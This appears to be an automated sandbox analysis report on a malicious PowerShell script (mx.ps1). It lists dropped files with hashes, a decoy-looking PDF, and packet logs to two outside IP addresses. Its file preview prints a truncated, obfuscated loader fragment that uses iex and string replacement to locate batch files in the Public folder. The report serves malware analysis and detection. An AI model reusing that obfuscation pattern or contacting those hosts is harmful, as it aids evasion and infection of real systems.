Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><path d="M2 1c-1.261.98-2 2.833-2 5 0 2.127.777 4.005 2 5h1V9c-.607-.78-1-1.759-1-3s.393-2.211 1-3V1zm11 0v2c.607.789 1 1.759 1 3s-.393 2.22-1 3v2h1c1.223-.995 2-2.873 2-5 0-2.167-.739-4.02-2-5zM4 3c-.688.784-1 1.743-1 3s.328 2.163 1 3h1V3zm7 0v6h1c.672-.837 1-1.743 1-3s-.312-2.216-1-3zM8 4a2 2 0 100 4 2 2 0 000-4zm0 5a1 1 0 00-1 1v6h2v-6a1 1 0 00-1-1z" fill="#2e3436"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1196
Entropy (8bit):	5.333915035046385
Encrypted:	false
SSDEEP:	24:3aZPpQrLAo4KAxX5qRPD42HOoFe9t4CvKuKnKJF9G:qZPerB4nqRL/HvFe9t4Cv94anG
MD5:	B15D7C50C640BEF4A1E823CE568A5E5E
SHA1:	E456E2EE754F8FBA38F8F75858491258896C9E41
SHA-256:	A95974F134C10C31BF7B1243C3E5F3987F1CC878565E28182DEC577D552450C0
SHA-512:	B7E7D0303E3DCF81217B7AC871AF1C4871D8BA19CC595DB35A6640108411126666D244D8CF91D766E129E7306FBCBA9622746DF74EC030E180CFDEDB78239107
Malicious:	false
Preview:	@...e................................................@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pn21suu.a4h.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3znlbq5.weq.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\nsn12E4.tmp\System.dll

Process:	C:\Users\Public\u5p3.bat
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659384359264642
Encrypted:	false
SSDEEP:	192:ex24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlESlS:h8QIl972eXqlWBFSt273YOlEz
MD5:	8B3830B9DBF87F84DDD3B26645FED3A0
SHA1:	223BEF1F19E644A610A0877D01EADC9E28299509
SHA-256:	F004C568D305CD95EDBD704166FCD2849D395B595DFF814BCC2012693527AC37
SHA-512:	D13CFD98DB5CA8DC9C15723EEE0E7454975078A776BCE26247228BE4603A0217E166058EBADC68090AFE988862B7514CB8CB84DE13B3DE35737412A6F0A8AC03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....uY...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4DKC129NQCHJ2APP262Z.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6205
Entropy (8bit):	3.7558539085235183
Encrypted:	false
SSDEEP:	96:kTm99P0C96qekvhkvCCtS5SHc095SHc0r:wm99h5KSf09f0r
MD5:	A251848173937F65CB89F04189D363E4
SHA1:	EEDE60F73076CE5A85430261499A82679E4EB909
SHA-256:	15DD0D94E1F1B31F27A70AD1F16B4277EECA307ECB690EC6622D9D33643965B5
SHA-512:	3EEE0B8CFE09D09456B9251ED137742100121B295E5FCE44D0CCFA3D8E9EBE2D5B7AD0A8E19CCF8C92F656BA4F4F0EEFAF7DFA0AAF495CBDDE078516DCADAE1E
Malicious:	false
Preview:	...................................FL..................F.".. ....J...-...rt^.`..\.................................:..DG..Yr?.D..U..k0.&...&...........-..9).0v....3..q.......t...CFSF..1......N....AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......N...V.Q.....Y....................yN\|.A.p.p.D.a.t.a...B.V.1......N....Roaming.@.......N...V.Q.....Y.....................K..R.o.a.m.i.n.g.....\.1......U3m..MICROS~1..D.......N...V.Q.....Y........................M.i.c.r.o.s.o.f.t.....V.1......Utm..Windows.@.......N...V.Q.....Y........................W.i.n.d.o.w.s.......1......N....STARTM~1..n.......N...V.Q.....Y..............D.....6...S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.S..Programs..j.......N...V.Q.....Y..............@........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......N...U.f.....Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......N...P3Q.....Y..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6205
Entropy (8bit):	3.7558539085235183
Encrypted:	false
SSDEEP:	96:kTm99P0C96qekvhkvCCtS5SHc095SHc0r:wm99h5KSf09f0r
MD5:	A251848173937F65CB89F04189D363E4
SHA1:	EEDE60F73076CE5A85430261499A82679E4EB909
SHA-256:	15DD0D94E1F1B31F27A70AD1F16B4277EECA307ECB690EC6622D9D33643965B5
SHA-512:	3EEE0B8CFE09D09456B9251ED137742100121B295E5FCE44D0CCFA3D8E9EBE2D5B7AD0A8E19CCF8C92F656BA4F4F0EEFAF7DFA0AAF495CBDDE078516DCADAE1E
Malicious:	false
Preview:	...................................FL..................F.".. ....J...-...rt^.`..\.................................:..DG..Yr?.D..U..k0.&...&...........-..9).0v....3..q.......t...CFSF..1......N....AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......N...V.Q.....Y....................yN\|.A.p.p.D.a.t.a...B.V.1......N....Roaming.@.......N...V.Q.....Y.....................K..R.o.a.m.i.n.g.....\.1......U3m..MICROS~1..D.......N...V.Q.....Y........................M.i.c.r.o.s.o.f.t.....V.1......Utm..Windows.@.......N...V.Q.....Y........................W.i.n.d.o.w.s.......1......N....STARTM~1..n.......N...V.Q.....Y..............D.....6...S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.S..Programs..j.......N...V.Q.....Y..............@........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......N...U.f.....Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......N...P3Q.....Y..........

C:\Users\user\Desktop\List of required items and services.pdf

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	dropped
Size (bytes):	653248
Entropy (8bit):	7.983402816932296
Encrypted:	false
SSDEEP:	12288:Z5j8QLfikr2uyiCDVvzDFgONPYpKE7nmP4II3xHjK4HTbuSGxEw6:H8QbZ2upCDtuOQKE7nmA3xWYT6LT6
MD5:	9B05142184F080AE36983D0A25597143
SHA1:	6421CD63995163132E89709FF70D695825A3CBDC
SHA-256:	F16B7347BCAADA09E4A85E92A704CCC67F413DDBA62BBDF4BBE14A7B687AC455
SHA-512:	EBDB6D9682A0DAC526214D9E5173E0CF627D1E538F2A728768E913FD2CE94B926DA6A248DFB5AE6D1DFAF0CE33807D3007D05785BE200687C55B926DCE6908DC
Malicious:	false
Preview:	%PDF-1.7.%......129 0 obj.<</Linearized 1/L 653248/O 131/E 86423/N 5/T 652770/H [ 497 273]>>.endobj. ..143 0 obj.<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<E39576C475ABEC43A187B9D780C4757D><641CA28703C4B144886F342023B34532>]/Index[129 38]/Info 128 0 R/Length 89/Prev 652771/Root 130 0 R/Size 167/Type/XRef/W[1 3 1]>>stream..h.bbd`.``b``..".:@$S.X..D....'..n..l..d.....IFwf.x-...$..4f`..,.V..8.....7@.??.@....:.M..endstream.endobj.startxref..0..%%EOF.. ..165 0 obj.<</C 180/E 164/Filter/FlateDecode/I 202/Length 167/O 126/S 74/V 142>>stream..h.b```a``.d`e`H.g.b@.!.f.........uv..g..u..(;.p0..2.h..@....b..H..1/.X..FI.....,]..5.....1*...d....f.i......H.0p.Z..3..E..../.(C!..2p....L...pUF.._.CU...0..."...endstream.endobj.130 0 obj.<</AcroForm 144 0 R/Metadata 48 0 R/Names 145 0 R/Outlines 103 0 R/Pages 127 0 R/StructTreeRoot 117 0 R/Type/Catalog>>.endobj.131 0 obj.<</Contents 132 0 R/CropBox[0 0 595.44 841.68]/Group<</CS/DeviceRGB/S/Transparency/T

Static File Info

General

File type:	ASCII text, with very long lines (824), with no line terminators
Entropy (8bit):	5.3454176072486765
TrID:
File name:	mx.ps1
File size:	824
MD5:	c90bd676777bea3ec071b9d7361b2b4b
SHA1:	ca737705f466845c0cc801c7841e479c28dd9405
SHA256:	2d336ee677f040b0c8138cf4a69b78d4e3ae1f99dbd83327f013df6a1d28fe8a
SHA512:	88278530ff27df16b0fc58ea5225f41a2b968d0b32f61bedcda8294afe11b336f3da32fe39e8ef2dae24d3f25f2be6427ca76d08092bbf734436381250e41303
SSDEEP:	24:jbf+iWIpZmL3xUmvoOjkQWAa6W9zmpVat:nfCIqtoOVqzO4t
TLSH:	CA011285A64796F34580FD6520C6553F3336DA4864E905B6E5A84A0720BCDFE0EC6529
File Content Preview:	$flol3=iex($('[Environment]::GetEdrzt'''.Replace('drz','nvironmentVariable(''public'') + ''\\ih7nyv.ba')));$flol=iex($('[Environment]::GetEdrzt'''.Replace('drz','nvironmentVariable(''public'') + ''\\u5p3.ba')));function getit([string]$fz, [string]$oulv){$

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 12:14:26.900604010 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:26.900659084 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:26.900738955 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:26.922096014 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:26.922127008 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:26.999954939 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.000066042 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.004564047 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.004586935 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.005073071 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.040383101 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.076900959 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.076947927 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.077020884 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.077023029 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.077054977 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.077091932 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.107786894 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.107917070 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.108043909 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.108066082 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.108143091 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.108156919 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.108273029 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.108278990 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.139321089 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.139446974 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.139462948 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.139498949 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.139539003 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.139740944 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.139825106 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.139838934 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.139945984 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.140012980 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.140026093 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.140176058 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.140252113 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.140280008 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.140476942 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.140578032 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.140605927 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.140652895 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.140726089 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.140759945 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.172795057 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.172888041 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.172986984 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.173024893 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173070908 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.173075914 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173141003 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.173157930 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173219919 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173289061 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.173305035 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173361063 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173427105 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.173443079 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173542023 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173619986 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.173636913 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173830032 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173902035 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173913956 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.173929930 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.173990965 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.174051046 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.174128056 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.174143076 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.174209118 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.174274921 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.174304962 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.174319983 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.174355030 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.174583912 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.174670935 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.174685955 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.206876993 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207046986 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207107067 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.207140923 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207160950 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.207182884 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207258940 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.207268953 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207326889 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207391977 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.207401037 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207472086 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207537889 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.207546949 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207591057 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207653999 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.207664013 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207694054 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207794905 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.207803011 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207849979 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207916021 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.207923889 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.207952976 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208024025 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.208033085 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208071947 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208143950 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.208153963 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208251953 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208352089 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.208360910 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208425045 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208518028 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208522081 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.208543062 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208636999 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208678007 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.208693027 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208723068 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208779097 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.208787918 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208808899 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208817959 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.208883047 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.208894968 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208914995 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.208978891 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.209005117 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.209089041 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.209095955 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.209115982 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.209172964 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.209198952 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.209280968 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.209290028 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.209342957 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.209369898 CEST	443	49694	84.16.234.51	192.168.2.4
Jun 1, 2023 12:14:27.209424019 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:27.211462975 CEST	49694	443	192.168.2.4	84.16.234.51
Jun 1, 2023 12:14:29.345480919 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.513647079 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.516364098 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.545648098 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.713483095 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714277029 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714328051 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714365005 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714397907 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714406013 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.714426994 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714442968 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.714456081 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714489937 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714518070 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714541912 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.714546919 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714555025 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.714576960 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.714613914 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.882395029 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882451057 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882477999 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882503033 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882528067 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882555008 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882555008 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.882581949 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882607937 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882617950 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.882633924 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882656097 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.882661104 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882688046 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882709980 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.882713079 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882740021 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882751942 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.882766008 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882791996 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882811069 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.882817984 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882843971 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882869959 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882884026 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.882894993 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882921934 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:29.882972956 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:29.882972956 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.050782919 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.050822020 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.050844908 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.050859928 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.050873041 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.050893068 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.050918102 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.050936937 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.050945997 CEST	49695	80	192.168.2.4	203.175.174.69
